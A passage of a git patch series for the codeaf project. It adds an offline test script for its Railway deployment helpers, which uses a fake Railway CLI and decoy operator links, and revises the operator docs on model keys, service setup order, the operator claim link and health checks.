'The organization may already be claimed, the server may still be starting, or the link may have scrolled out of the log tail and raising OPERATOR_LINK_LINES may find it.' >&2 + exit 1 +fi +printf '%s\n' "$link" diff --git a/deploy/org/railway/railway_scripts_test.sh b/deploy/org/railway/railway_scripts_test.sh new file mode 100755 index 0000000000..c9727d69c4 --- /dev/null +++ b/deploy/org/railway/railway_scripts_test.sh @@ -0,0 +1,171 @@ +#!/usr/bin/env bash +# Exercises the Railway scripts offline from the repository root or any other directory. +set -eu +cd "$(dirname "$0")/../../.." +root=$PWD +template=$root/deploy/org/railway/make-template.sh +operator=$root/deploy/org/railway/operator-link.sh +upload=$root/deploy/org/gate/upload-check.sh +work=$(mktemp -d) +trap 'rm -rf "$work"' EXIT +unset ORG_REGISTRY ORG_TAG TEMPLATE_PROJECT RAILWAY_PROJECT RAILWAY_ENVIRONMENT RAILWAY_SERVICE OPERATOR_LINK_LINES FAKE_LOG_MODE + +failed=0 +row() { + local name=$1 + shift + if "$@"; then + printf 'PASS: %s\n' "$name" + else + printf 'FAIL: %s\n' "$name" + failed=1 + fi +} + +plan=$work/plan +dry_run() { + local calls + "$template" >"$plan" && calls=$(grep -c '^+ railway ' "$plan") && + tail -n 1 "$plan" | grep -qE "^# $calls calls\. .*Nothing was run\.$" +} +row 'make-template 1: dry run reports its planned call count' dry_run + +mkdir "$work/no-railway" +for tool in bash grep sed; do + ln -s "$(command -v "$tool")" "$work/no-railway/$tool" +done +without_cli() { + PATH="$work/no-railway" "$template" >"$work/no-railway-result" && cmp -s "$plan" "$work/no-railway-result" +} +row 'make-template 1: dry run works without the Railway CLI' without_cli + +codeaf=$(grep -F '+ railway add --service codeaf ' "$plan" || true) +sessionhost=$(grep -F '+ railway add --service sessionhost ' "$plan" || true) +same_image() { + [[ $codeaf == *'--image agentfield/codeaf-org:dev '* && $sessionhost == *'--image agentfield/codeaf-org:dev '* ]] +} +row 'make-template 2: sessionhost uses the codeaf image' same_image + +sessionhost_variables() { + local pair + for pair in 'CODEAF_ROLE=sessionhost' 'CODEAF_SESSIONHOST_DATA=/chats' \ + "'CODEAF_SESSIONHOST_SECRET=\${{codeaf.CODEAF_HOSTED_SECRET}}'" \ + 'CODEAF_SESSIONHOST_MODEL=deepseek/deepseek-v4-flash-0731' \ + 'CODEAF_SESSIONHOST_MAX_RUNNING=4' 'CODEAF_SESSIONHOST_MAX_PER_PERSON=2'; do + [[ $sessionhost == *"--variables $pair "* ]] || return 1 + done +} +row 'make-template 2: sessionhost gets its role, data, shared secret, model and limits' sessionhost_variables +row 'make-template 2: sessionhost mounts /chats' \ + grep -qE '^\+ railway volume add --service sessionhost --mount-path /chats( |$)' "$plan" +private_sessionhost() { + [ -n "$sessionhost" ] && ! grep -Eq '^\+ railway domain .*--service sessionhost( |$)' "$plan" +} +row 'make-template 2: sessionhost has no public domain' private_sessionhost +row 'make-template 2: sessionhost is limited to 1 vCPU and 1 GB' \ + grep -qE '^\+ railway environment edit --service-config sessionhost deploy\.limitOverride\.containers\.cpu 1 --service-config sessionhost deploy\.limitOverride\.containers\.memoryBytes 1000000000( |$)' "$plan" + +hosted_variables() { + [[ $codeaf == *"--variables 'CODEAF_HOSTED_SECRET=\${{secret(64,"* && + $codeaf == *"--variables 'CODEAF_HOSTED_MODEL_URL=http://\${{RAILWAY_PRIVATE_DOMAIN}}:8787/v1/model' "* && + $codeaf == *"--variables 'CODEAF_HOSTED_MODEL_KEY=\${{OPENROUTER_API_KEY}}' "* ]] +} +row 'make-template 3: codeaf gets a generated secret and the model endpoint and input reference' hosted_variables +hosted_url_after_service() { + local line + line=$(grep -nFx "+ railway variable set 'CODEAF_HOSTED_URL=http://\${{sessionhost.RAILWAY_PRIVATE_DOMAIN}}:8790' --service codeaf --skip-deploys" "$plan") && + grep -qF '+ railway add --service sessionhost ' < <(head -n "$(( ${line%%:*} - 1 ))" "$plan") && + [[ $codeaf != *CODEAF_HOSTED_URL=* ]] +} +row 'make-template 3: codeaf gets the hosted URL after sessionhost exists' hosted_url_after_service +row 'make-template 4: codeaf health check uses /v1/about' \ + grep -qxF "+ railway environment edit --service-config codeaf deploy.healthcheckPath /v1/about --message 'codeaf health check'" "$plan" +template_excludes_smoke_switches() { + ! grep -Eq -- '--variables (RUNNER_SELFTEST|SMOKE_FIXTURE_REPO|SWE_SMOKE_FIXTURE_REPO|CODEAF_BASE_URL|STUB_DELAY|STUB_COST_USD|GITSTUB_TOKEN)=' "$plan" +} +row 'make-template 5: no smoke-only switches enter the plan' template_excludes_smoke_switches + +mkdir "$work/bin" +cat >"$work/bin/railway" <<'FAKE' +#!/bin/sh +set -eu +[ "$(printf '%s\n' "$@")" = "$FAKE_EXPECT_ARGS" ] || exit 90 +if IFS= read -r input; then exit 91; fi +printf '%s\n' 'decoy codeaf://factory/join?operator=false&token=decoy' +case "${FAKE_LOG_MODE:-links}" in + empty) exit 0 ;; + error) + printf '%s\n' 'operator access link: codeaf://factory/join?operator=true&token=partial' + printf '%s\n' 'operator access link: codeaf://factory/join?operator=true&token=failed' >&2 + exit 42 ;; +esac +printf '%s\n' 'operator access link: codeaf://factory/join?operator=true&token=older' +printf '%s\r\n' 'operator access link: codeaf://factory/join?operator=true&token=latest' +FAKE +chmod +x "$work/bin/railway" +export FAKE_EXPECT_ARGS +FAKE_EXPECT_ARGS=$(printf '%s\n' logs --service codeaf --lines 300) +printf '%s\n' 'codeaf://factory/join?operator=true&token=latest' >"$work/expected-link" + +run_operator() { + status=0 + PATH="$work/bin:$PATH" "$operator" >"$work/link" 2>"$work/operator-errors" <<< 'caller input' || status=$? +} +latest_link() { + run_operator + [ "$status" = 0 ] && cmp -s "$work/expected-link" "$work/link" && [ ! -s "$work/operator-errors" ] +} +row 'operator-link 1: prints exactly the last link, with the carriage return removed' latest_link + +explicit_context() ( + export RAILWAY_PROJECT='org fixture' RAILWAY_ENVIRONMENT='test environment' RAILWAY_SERVICE='org server' OPERATOR_LINK_LINES=700 + FAKE_EXPECT_ARGS=$(printf '%s\n' logs --service "$RAILWAY_SERVICE" --lines "$OPERATOR_LINK_LINES" \ + --project "$RAILWAY_PROJECT" --environment "$RAILWAY_ENVIRONMENT") + latest_link +) +row 'operator-link 1: accepts project, environment, service and log tail overrides' explicit_context + +missing_link() { + FAKE_LOG_MODE=empty run_operator + [ "$status" = 1 ] && [ ! -s "$work/link" ] && grep -qF OPERATOR_LINK_LINES "$work/operator-errors" +} +row 'operator-link 2: missing link exits 1 and suggests a longer tail' missing_link + +missing_cli() { + status=0 + PATH="$work/no-railway" "$operator" >"$work/link" 2>"$work/operator-errors" || status=$? + [ "$status" = 2 ] && [ ! -s "$work/link" ] && grep -qi 'railway.*not installed' "$work/operator-errors" +} +row 'operator-link 3: missing Railway CLI exits 2 with a diagnostic' missing_cli + +failed_logs() { + FAKE_LOG_MODE=error run_operator + [ "$status" = 2 ] && [ ! -s "$work/link" ] && grep -qi 'railway logs.*failed' "$work/operator-errors" && + ! grep -qF 'codeaf://factory/join?' "$work/operator-errors" +} +row 'operator-link 3: failed Railway logs exits 2 without leaking its output' failed_logs + +clean_checkout() { + "$upload" >"$work/upload-clean" 2>&1 && + grep -qxE 'upload-check: [0-9]+ tracked symlinks, none dangling' "$work/upload-clean" +} +row 'upload-check 3: the checkout has no dangling tracked symlinks' clean_checkout + +fixture=$work/repo +git init -q "$fixture" +mkdir "$fixture/links" +touch "$fixture/present" +ln -s ../present "$fixture/links/good" +dangling='links/dangling café' +ln -s ../missing "$fixture/$dangling" +git -C "$fixture" update-index --add -- present links/good "$dangling" +only_dangling() ( + cd "$fixture" || exit 1 + status=0 + "$upload" >"$work/upload-fixture" 2>&1 || status=$? + [ "$status" = 1 ] && [ "$(wc -l <"$work/upload-fixture")" -eq 1 ] && + grep -F "$dangling" "$work/upload-fixture" | grep -qF '../missing' +) +row 'upload-check 3: reports only the dangling link and its target' only_dangling + +exit "$failed" From d84db98f381f0cbfa218d03723f01e6886ade68f Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 00:01:56 -0500 Subject: [PATCH 128/176] docs: the hosted model door's key is CODEAF_HOSTED_MODEL_KEY, never OPENROUTER_API_KEY The Railway table told a reader to put OPENROUTER_API_KEY on codeaf and said the model door uses it. The door chooses the person's own key, then CODEAF_HOSTED_MODEL_KEY, then the organization key an operator saved in Settings, Organizations (serve/model_route.go, chooseHostedModelKey); the environment variable is read by the runner and the nodes only, so a real key put only there leaves hosted chats without one. The README's real-model-door paragraph, the compose.yaml comment and the manual's hosting page said "the key the server already holds", which reads as that variable; they now say what it is. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/README.md | 4 ++-- deploy/org/compose.yaml | 3 ++- internal/manual/chat/organization-hosted-sessions.md | 2 +- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/deploy/org/README.md b/deploy/org/README.md index f0d22c44f7..f36c8facce 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -247,8 +247,8 @@ organization's. Each of those is a next step, not a hidden property. ### Keys, spend and git (P1) - **The real model door.** `CODEAF_HOSTED_MODEL_UPSTREAM` (OpenRouter's when empty) is called with - `CODEAF_HOSTED_MODEL_KEY`, or the key the organization server already holds for model calls, or no key at all for a - keyless stub. The key never leaves the organization server. Every call is metered to the cent into the signed-in + `CODEAF_HOSTED_MODEL_KEY`, or else the organization key an operator saved in Settings, Organizations, or no key at all for a + keyless stub. The door never reads the `OPENROUTER_API_KEY` variable (that one is for the runner and the nodes). The key never leaves the organization server. Every call is metered to the cent into the signed-in person's My space; a chat stops at `CODEAF_HOSTED_SESSION_CAP_USD` (default 5) and a person at the monthly limit the operator sets in Settings (`PUT /v1/myspace/limit`, default 20). A refused message is a plain sentence and makes no upstream call. diff --git a/deploy/org/compose.yaml b/deploy/org/compose.yaml index 2187964827..ad1491240d 100644 --- a/deploy/org/compose.yaml +++ b/deploy/org/compose.yaml @@ -84,7 +84,8 @@ services: CODEAF_HOSTED_SECRET: ${CODEAF_HOSTED_SECRET:-} CODEAF_HOSTED_MODEL_URL: ${CODEAF_HOSTED_MODEL_URL:-http://codeaf:8787/v1/model} # The model door (README.md "Hosted chats"): the upstream is OpenRouter's unless set, and the key it is called with is - # CODEAF_HOSTED_MODEL_KEY, else the key this server already holds for model calls. Every call is metered into the + # CODEAF_HOSTED_MODEL_KEY, else the organization key saved in Settings, Organizations (never OPENROUTER_API_KEY, which + # is for the runner and the nodes). Every call is metered into the # person's spend; a chat stops at CODEAF_HOSTED_SESSION_CAP_USD (default 5). CODEAF_HOSTED_MODEL_UPSTREAM: ${CODEAF_HOSTED_MODEL_UPSTREAM:-} CODEAF_HOSTED_MODEL_KEY: ${CODEAF_HOSTED_MODEL_KEY:-} diff --git a/internal/manual/chat/organization-hosted-sessions.md b/internal/manual/chat/organization-hosted-sessions.md index 666e8f06f8..749126f923 100644 --- a/internal/manual/chat/organization-hosted-sessions.md +++ b/internal/manual/chat/organization-hosted-sessions.md @@ -164,7 +164,7 @@ If the server cannot be reached, the desktop window says ` is unreachable. Hosted chats are off by default. The operator turns them on by running the chats' machine beside the organization's server, in the organization's deployment (`deploy/org/README.md`, "Hosted chats"), and giving both the same long secret, which `./setup.sh` makes. -On the organization's server set `CODEAF_HOSTED_URL` to the chats' machine, `CODEAF_HOSTED_SECRET`, `CODEAF_HOSTED_MODEL_UPSTREAM` (the model endpoint the organization pays for; OpenRouter's when empty) and `CODEAF_HOSTED_MODEL_KEY` (or the key the server already holds for model calls). Set `CODEAF_SERVER_KEY` too (64 hexadecimal characters; `./setup.sh` makes it): people's own keys are sealed with it, and a server that holds keys sealed with another one, or with none, refuses to start instead of carrying on. Optional: `CODEAF_HOSTED_SESSION_CAP_USD` (what one chat may spend, default 5) and `CODEAF_HOSTED_GIT_HOSTS` (the git hosts chats may reach, default `https://github.com`). On the chats' machine set `CODEAF_SESSIONHOST_SECRET` to the same secret, and optionally `CODEAF_SESSIONHOST_MAX_RUNNING`, `CODEAF_SESSIONHOST_MAX_PER_PERSON`, `CODEAF_SESSIONHOST_IDLE`, `CODEAF_SESSIONHOST_MODEL` and `CODEAF_SESSIONHOST_CONNECT_PORTS` (the TCP ports commands may connect to, default `443,80,22,9418`). +On the organization's server set `CODEAF_HOSTED_URL` to the chats' machine, `CODEAF_HOSTED_SECRET`, `CODEAF_HOSTED_MODEL_UPSTREAM` (the model endpoint the organization pays for; OpenRouter's when empty) and `CODEAF_HOSTED_MODEL_KEY` (or, instead, an organization key an operator saves in Settings, Organizations; the `OPENROUTER_API_KEY` variable is not what the model door uses). Set `CODEAF_SERVER_KEY` too (64 hexadecimal characters; `./setup.sh` makes it): people's own keys are sealed with it, and a server that holds keys sealed with another one, or with none, refuses to start instead of carrying on. Optional: `CODEAF_HOSTED_SESSION_CAP_USD` (what one chat may spend, default 5) and `CODEAF_HOSTED_GIT_HOSTS` (the git hosts chats may reach, default `https://github.com`). On the chats' machine set `CODEAF_SESSIONHOST_SECRET` to the same secret, and optionally `CODEAF_SESSIONHOST_MAX_RUNNING`, `CODEAF_SESSIONHOST_MAX_PER_PERSON`, `CODEAF_SESSIONHOST_IDLE`, `CODEAF_SESSIONHOST_MODEL` and `CODEAF_SESSIONHOST_CONNECT_PORTS` (the TCP ports commands may connect to, default `443,80,22,9418`). `codeaf sessionhost probe` prints what the machine can do and exits non-zero when it cannot keep chats apart. The machine runs as root inside its container and keeps only the capabilities it needs to switch users; it holds no organization secret except the shared one and no model key. The key stays on the organization's server, which adds it to each model request. From b1e738f445d0b63040eed5e446a22ea58dee4da7 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 00:02:39 -0500 Subject: [PATCH 129/176] docs: the Railway path, as a stranger walks it (source, order, health check, claim link, checks) Followed from an empty Railway project with the keyless stub: all seven services came up from the README's table, and the sign-in page, the sessionhost probe and AgentField's key check passed. What a newcomer could not have known is now written down: - how the source gets onto Railway: connect the public repository (this worked), a fork, or `railway up` from a fresh clone (the whole repository goes up and the service's Root Directory applies), and that connecting builds at once so settings come first; - the order that worked, the health check path for codeaf (/v1/about, 200 without a sign-in), the model door's key (CODEAF_HOSTED_MODEL_KEY), GH_TOKEN for real work, and that a volume can grow but never shrink; - the operator link: where it is, the command that prints it, that a restart of an unclaimed server retires it, and that anyone who can read the project's logs can read it; - the checks: `railway ssh` needs a retry sometimes, a Railway container has no /sys/kernel/security/lsm so the sessionhost probe is the check, /v1/about names the commit; - docs/organizations.md "The ten minutes" is Compose only: it now says where the Railway path is, and the manual's hosting page no longer says the template lacks the sessionhost. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/README.md | 122 ++++++++++++++++----- docs/organizations.md | 10 +- internal/manual/chat/organization-start.md | 2 +- 3 files changed, 103 insertions(+), 31 deletions(-) diff --git a/deploy/org/README.md b/deploy/org/README.md index f36c8facce..10dd0ac4e1 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -519,28 +519,61 @@ tag and digest together. ## Railway The same Dockerfiles run on Railway as one project: six services (seven with the keyless model stub), a volume on each but -the model stub, private networking between them, and a public domain on `codeaf` only. Nothing needs Compose there; each service builds from this repository, on -Railway's builders. (A Railway template needs images, not a repository: `railway/make-template.sh` makes a draft one from the -published images above, without the sessionhost yet. The table below is the configuration by hand. It was followed from an empty -project, with the keyless stub, and every service came up healthy: see "Check it" below.) - -Create an empty project in the workspace that should own it, then one service per row. For each one choose **GitHub repo** -(`Agent-Field/codeaf`, a public repository; the branch you want, or one pinned commit), set the **Root Directory** and the -**Dockerfile Path** (or the variable `RAILWAY_DOCKERFILE_PATH`) in the row, and add a volume at the mount path in the row, with a -size you choose (Railway's default is large, 50 GB on the plan this was tried on: 1 GB is plenty for `codeaf`, `agentfield` and -`sessionhost`, 512 MB for `runner` and `pr-af`). Reference variables (`${{agentfield.RAILWAY_PRIVATE_DOMAIN}}`) are Railway's way of naming another service; -keep them as written, and create every service before you set a variable that names another. +the model stub, private networking between them, and a public domain on `codeaf` only. Nothing needs Compose there; each +service builds from this repository's source, on Railway's builders. The table below is the configuration by hand. It was followed from +an empty project, with the keyless stub, and every service came up: see "Check it" below. (A Railway template needs images, not a +repository: `railway/make-template.sh` makes a draft one from the published images above, sessionhost included, and is a dry run +until those images exist.) + +**What you need:** a Railway account and the workspace that should own the project, and the Railway CLI (`railway`, version 5.x, +signed in with `railway login`). The dashboard can do every step of the table, but "Check it" and the operator link below use the CLI. +For real work add a model key (see the `codeaf` row for where it goes); the keyless stub needs none. + +### Get the source onto Railway + +Pick one; the table's Root Directory and Dockerfile Path are the same for all three. + +- **Connect the GitHub repository** (`Agent-Field/codeaf`, which is public: the branch you want, or one pinned commit). This worked + from a Railway account whose linked GitHub login can read the repository, while the `Agent-Field` organization had not + installed Railway's GitHub App. Connecting builds at once, so create the service empty, set its variables, Root Directory, Dockerfile Path and volume, + and connect the repository last (the dashboard's service settings and the CLI both let you do that). +- **Your own fork or a private copy**, connected the same way. Authorize Railway's GitHub App for that fork. +- **Upload it with the CLI**, with no GitHub involved: from a fresh clone of the branch (so no file of yours goes up, and nothing + untracked), run `railway up --service --project --environment --detach` once per service. The + Root Directory and Dockerfile Path you set on the service apply to an upload too: the whole repository is uploaded (about 65 MB compressed) + and Railway builds the part the service names. From a checkout of an older commit, `railway up` stops while indexing with an I/O + error on `internal/skills/testdata/links/home/.claude/skills/dangling` (a tracked link that pointed at nothing; `gate/upload-check.sh` + keeps it from coming back): use a newer commit, or delete that one link from your clone. + +### The order that worked + +1. Create the project in the workspace, then every service empty (a variable that names another service needs that service to exist). +2. On each service: its variables, Root Directory, Dockerfile Path, a volume of the size in the row, and (`codeaf`) the health check path and + the public domain. Give the domain first (`CODEAF_PUBLIC_DOMAIN` is read at start), target port 8787. +3. Connect or upload the source of each service. The three codeaf-image services compile codeaf (about four minutes each); the other + four take about a minute. A service reads **SUCCESS** when it started (and, where the row sets a health check, answered it). +4. "Check it", then "Claim the organization" below. Nothing else is needed to bring the stack up: `runner` waits up to five minutes for + AgentField, so the order of the deploys does not matter. | Service | Root Directory | Dockerfile Path | Volume | Variables | | --- | --- | --- | --- | --- | | `agentfield` | `/deploy/org` | `agentfield.Dockerfile` | `/data` | `AGENTFIELD_API_KEY=${{secret(64, "abcdef0123456789")}}`, `AGENTFIELD_HOME=/data`, `AGENTFIELD_CONFIG_FILE=/dev/null`, `AGENTFIELD_PORT=8080`, `PORT=8080`, `AGENTFIELD_STORAGE_MODE=local`, `AGENTFIELD_STORAGE_LOCAL_DATABASE_PATH=/data/agentfield.db`, `AGENTFIELD_STORAGE_LOCAL_KV_STORE_PATH=/data/agentfield.bolt`, `AGENTFIELD_RUN_OWNER_REQUIRE_PROOF=true`, `AGENTFIELD_TELEMETRY_ENABLED=false`. Health check path `/api/v1/health`. | -| `codeaf` | `/` (the repository root) | `deploy/org/codeaf.Dockerfile` | `/data` | `CODEAF_BINARY_FROM=source`, `ORG_DIR=deploy/org`, `CODEAF_ROLE=server`, `PORT=8787`, `CODEAF_ORG_NAME=...`, `CODEAF_PUBLIC_DOMAIN=${{RAILWAY_PUBLIC_DOMAIN}}`, `CODEAF_TRUSTED_PROXIES=100.64.0.0/10`, `CODEAF_SERVER_KEY=${{secret(64, "abcdef0123456789")}}`. Hosted chats: `CODEAF_HOSTED_SECRET=${{secret(64, "abcdef0123456789")}}`, `CODEAF_HOSTED_URL=http://${{sessionhost.RAILWAY_PRIVATE_DOMAIN}}:8790`, `CODEAF_HOSTED_MODEL_URL=http://${{RAILWAY_PRIVATE_DOMAIN}}:8787/v1/model`. Models: `OPENROUTER_API_KEY=...` (the model door uses it unless you set `CODEAF_HOSTED_MODEL_UPSTREAM` and `CODEAF_HOSTED_MODEL_KEY`). Generate a public domain for this service only, target port 8787, **before its first deploy**. | -| `runner` | `/` | `deploy/org/codeaf.Dockerfile` | `/data` | `CODEAF_BINARY_FROM=source`, `ORG_DIR=deploy/org`, `CODEAF_ROLE=runner`, `AGENTFIELD_URL=http://${{agentfield.RAILWAY_PRIVATE_DOMAIN}}:8080`, `AGENTFIELD_API_KEY=${{agentfield.AGENTFIELD_API_KEY}}`, `ORG_MODEL=...`, `OPENROUTER_API_KEY=...`. | -| `sessionhost` | `/` | `deploy/org/codeaf.Dockerfile` | `/chats` | `CODEAF_BINARY_FROM=source`, `ORG_DIR=deploy/org`, `CODEAF_ROLE=sessionhost`, `CODEAF_SESSIONHOST_SECRET=${{codeaf.CODEAF_HOSTED_SECRET}}`, `CODEAF_SESSIONHOST_DATA=/chats`, `CODEAF_SESSIONHOST_MODEL=...` (the model chats use), and the limits you want (`CODEAF_SESSIONHOST_MAX_RUNNING`, `CODEAF_SESSIONHOST_MAX_PER_PERSON`). No public domain. Give it resource limits (1 vCPU and 1 GB is plenty for a few chats). | +| `codeaf` | `/` (the repository root) | `deploy/org/codeaf.Dockerfile` | `/data` | `CODEAF_BINARY_FROM=source`, `ORG_DIR=deploy/org`, `CODEAF_ROLE=server`, `PORT=8787`, `CODEAF_ORG_NAME=...`, `CODEAF_PUBLIC_DOMAIN=${{RAILWAY_PUBLIC_DOMAIN}}`, `CODEAF_TRUSTED_PROXIES=100.64.0.0/10`, `CODEAF_SERVER_KEY=${{secret(64, "abcdef0123456789")}}`. Hosted chats: `CODEAF_HOSTED_SECRET=${{secret(64, "abcdef0123456789")}}`, `CODEAF_HOSTED_URL=http://${{sessionhost.RAILWAY_PRIVATE_DOMAIN}}:8790`, `CODEAF_HOSTED_MODEL_URL=http://${{RAILWAY_PRIVATE_DOMAIN}}:8787/v1/model`. **The model door's key: `CODEAF_HOSTED_MODEL_KEY=`** (or an organization key an operator saves in Settings, Organizations); `CODEAF_HOSTED_MODEL_UPSTREAM` only for a provider other than OpenRouter. The door does not read `OPENROUTER_API_KEY`. Health check path `/v1/about` (answers 200 with no sign-in; `/` answers 401). Generate a public domain for this service only, target port 8787, **before its first deploy**. | +| `runner` | `/` | `deploy/org/codeaf.Dockerfile` | `/data` | `CODEAF_BINARY_FROM=source`, `ORG_DIR=deploy/org`, `CODEAF_ROLE=runner`, `AGENTFIELD_URL=http://${{agentfield.RAILWAY_PRIVATE_DOMAIN}}:8080`, `AGENTFIELD_API_KEY=${{agentfield.AGENTFIELD_API_KEY}}`, `ORG_MODEL=...`, `OPENROUTER_API_KEY=...`. No health check path: it serves no HTTP. | +| `sessionhost` | `/` | `deploy/org/codeaf.Dockerfile` | `/chats` | `CODEAF_BINARY_FROM=source`, `ORG_DIR=deploy/org`, `CODEAF_ROLE=sessionhost`, `CODEAF_SESSIONHOST_SECRET=${{codeaf.CODEAF_HOSTED_SECRET}}`, `CODEAF_SESSIONHOST_DATA=/chats`, `CODEAF_SESSIONHOST_MODEL=...` (the model chats use), and the limits you want (`CODEAF_SESSIONHOST_MAX_RUNNING`, `CODEAF_SESSIONHOST_MAX_PER_PERSON`). No public domain and no health check path (every request to it needs the shared secret). Give it resource limits (1 vCPU and 1 GB is plenty for a few chats). | | `swe-af` | `/deploy/org` | `swe-af.Dockerfile` | `/workspaces` | `NODE_ID=swe-planner`, `AGENTFIELD_SERVER=http://${{agentfield.RAILWAY_PRIVATE_DOMAIN}}:8080`, `AGENTFIELD_API_KEY=${{agentfield.AGENTFIELD_API_KEY}}`, `SWE_HITL_NATIVE=1`, `SWE_FENCE=off`, `SWE_PRO_ENGINE=0`, `SWE_DEFAULT_MODEL=openrouter/...`, `OPENROUTER_API_KEY=...`. | | `pr-af` | `/deploy/org` | `pr-af.Dockerfile` | `/workspaces` | `NODE_ID=pr-af`, `PORT=8007`, `AGENTFIELD_SERVER=http://${{agentfield.RAILWAY_PRIVATE_DOMAIN}}:8080`, `AGENTFIELD_API_KEY=${{agentfield.AGENTFIELD_API_KEY}}`, `AGENT_CALLBACK_URL=http://${{RAILWAY_PRIVATE_DOMAIN}}:8007`, `PR_AF_MODEL=...`, `OPENROUTER_API_KEY=...`. | | `modelstub` (keyless only) | `/deploy/org` | `modelstub.Dockerfile` | none | `STUB_DELAY=2s`; then on `runner`, `swe-af`, `pr-af` and `codeaf` set `CODEAF_BASE_URL=http://${{modelstub.RAILWAY_PRIVATE_DOMAIN}}:8890/api/v1` and `OPENROUTER_API_KEY=stub-key`, on `runner`, `pr-af` and `sessionhost` the model variables to `stub/scripted` (`ORG_MODEL`, `PR_AF_MODEL`, `CODEAF_SESSIONHOST_MODEL`; SWE-AF: `SWE_DEFAULT_MODEL=openrouter/stub/scripted`), on `codeaf` also `CODEAF_HOSTED_MODEL_UPSTREAM=http://${{modelstub.RAILWAY_PRIVATE_DOMAIN}}:8890/api/v1` and `CODEAF_HOSTED_MODEL_KEY=stub-key`. For the self-test below, `swe-af` also takes `SMOKE_FIXTURE_REPO=/workspaces/smoke-fixture`. | +For real work, also set `GH_TOKEN=...` on `runner`, `swe-af` and `pr-af` (it lets the nodes clone private repositories and open pull +requests, as in "What you need"; the keyless test needs none). People's own GitHub access for hosted chats is not a variable: each +person stores theirs on the server (see "Keys, spend and git"). + +Volumes: Railway's default size is large (50 GB on the plan this was tried on), the dashboard and the CLI's `railway volume add` take the +default unless you size it, and **a volume can grow but never shrink**. Size it when you create it: 1 GB is plenty for `codeaf`, `agentfield` +and `sessionhost`, 512 MB for `runner` and `pr-af`. Reference variables (`${{agentfield.RAILWAY_PRIVATE_DOMAIN}}`) are Railway's way of +naming another service; keep them as written. + What a first install needs that the table does not show: - **Why `codeaf`, `runner` and `sessionhost` build from the repository root.** They are one image, and the pinned release a plain @@ -548,37 +581,70 @@ What a first install needs that the table does not show: `ORG_DIR` says where `deploy/org` is inside that context; Compose passes the same two by default, but the Dockerfile's own default stays `fetch`, so Railway has to set them). Railway hands every service variable to the build as a build argument, which is how those two reach it; they stay in the running service's environment too, where nothing reads them. Never use - `CODEAF_BINARY_FROM=local`: it expects a binary beside the Dockerfile that a repository build does not have. Each of the three - compiles codeaf (about four minutes each); the other four take about a minute. `codeaf version` in the running service names the - commit Railway built (the Dockerfile reads Railway's `RAILWAY_GIT_COMMIT_SHA`; a `SOURCE_COMMIT` variable is not needed). + `CODEAF_BINARY_FROM=local`: it expects a binary beside the Dockerfile that a repository build does not have. + `codeaf version` in the running service, and `/v1/about` on the public name, name the commit Railway built (the Dockerfile reads + Railway's `RAILWAY_GIT_COMMIT_SHA`; a `SOURCE_COMMIT` variable is not needed). - **The public domain first.** The server reads `CODEAF_PUBLIC_DOMAIN` only when it starts, and a link is accepted only with exactly the address the server gave itself. So generate the domain before `codeaf` first deploys; if you generate it later, restart `codeaf` (changing a variable does) and use the operator link its new start prints, not an older one. - **Secrets are Railway's.** `${{secret(64, "abcdef0123456789")}}` works in a plain project (not only in a template): each is a fresh - random value that lives in the service's variables, never in a file. + random value that lives in the service's variables, never in a file. Keep `CODEAF_SERVER_KEY` and a copy of the `codeaf` volume's + contents safe: people's own keys are sealed with it, and a server that finds them sealed with another key refuses to start. +- **The model keys.** `OPENROUTER_API_KEY` goes on `runner`, `swe-af` and `pr-af`. The hosted chats' model door is a different path: it + calls the provider with `CODEAF_HOSTED_MODEL_KEY` on `codeaf` (else an organization key saved in Settings, Organizations), so putting + your real key only in `OPENROUTER_API_KEY` on `codeaf` leaves hosted chats without one. - **Pin what you deploy.** A service connected to a branch with a commit pinned does not follow later pushes; connect it again with the new commit to move it. `railway redeploy` re-runs the old build, so it does not pick up a new commit or a changed Dockerfile - path. Changing a variable does redeploy the service with the new value. + path. Changing a variable or a setting redeploys the service with the new value, and restarting `codeaf` before the organization is + claimed prints a new operator link and retires the old one. - **Looking inside.** There is no `docker exec`. `railway ssh` (it needs an SSH key registered on your Railway account; pass it with - `-i` if the default key has a passphrase) runs a command in a service, with stdin from `/access # 200: the sign-in page, over HTTPS +curl -s -o /dev/null -w '%{http_code}\n' "https:///access" # 200: the sign-in page, over HTTPS +curl -s "https:///v1/about" # "scheme": "https", the commit it was built from ``` +The first three answer for the whole stack's wiring: AgentField refuses an anonymous call, the sessionhost can keep chats apart on this +kernel, and the public name serves over HTTPS. None of them makes a model call or a chat; those start once the organization is claimed. + ## Known limits - The runner is a small Python host of the codeaf engine (`scripts/runner.py`), because `codeaf factory serve` diff --git a/docs/organizations.md b/docs/organizations.md index 23542f290f..7f6b62101e 100644 --- a/docs/organizations.md +++ b/docs/organizations.md @@ -137,6 +137,10 @@ You need Docker with Compose v2.24 or newer, 4 GB of free memory, and a Linux ho sandbox; see the sandbox note below). For real work add an OpenRouter key. For anyone who is not on the same machine you need an HTTPS name in front of port 8787. +**On Railway instead of Docker?** Skip to "Railway" in the [operator README](../deploy/org/README.md#railway): it has the services +and variables to set, how to get the source onto Railway, the operator link and the checks. Railway serves the HTTPS name, so +steps 1 to 3 below are replaced by that section, and steps 4 and 5 are the same. + **1. Set it up.** ```sh @@ -179,6 +183,8 @@ alone, with no limit on what a chat's commands can reach, and it warns in every ./operator-link.sh # prints the operator link; it is a secret and works once ``` +(On Railway the link is in the `codeaf` service's log; `deploy/org/railway/operator-link.sh` prints it.) + Open that `codeaf://factory/join?operator=true...` link in the desktop app (or paste it into **Join an organization...**) and choose a username and password. Whoever uses it first is the operator, so keep it to yourself until you have. If it is lost before anyone used it, `docker compose restart codeaf` prints a fresh one. @@ -234,8 +240,8 @@ needs an image that has `codeaf sessionhost`; the operator README says how to po people with the `manage` verb on the chat move it too (never into their own My space, never a bot). - `local_sessions` `allow` and `warn` are reported and stored; nothing in a client acts on them yet. - The sandbox filters outbound network by port, not by address. -- The Railway template made from the published images does not carry the sessionhost yet; a by-hand Railway install does - (the operator README lists every service and variable). +- The Railway template is made from the published images, which are not on Docker Hub yet, so the script that makes it has only + been dry-run. The by-hand Railway install in the operator README is the tested configuration, and it includes the sessionhost. - GitHub 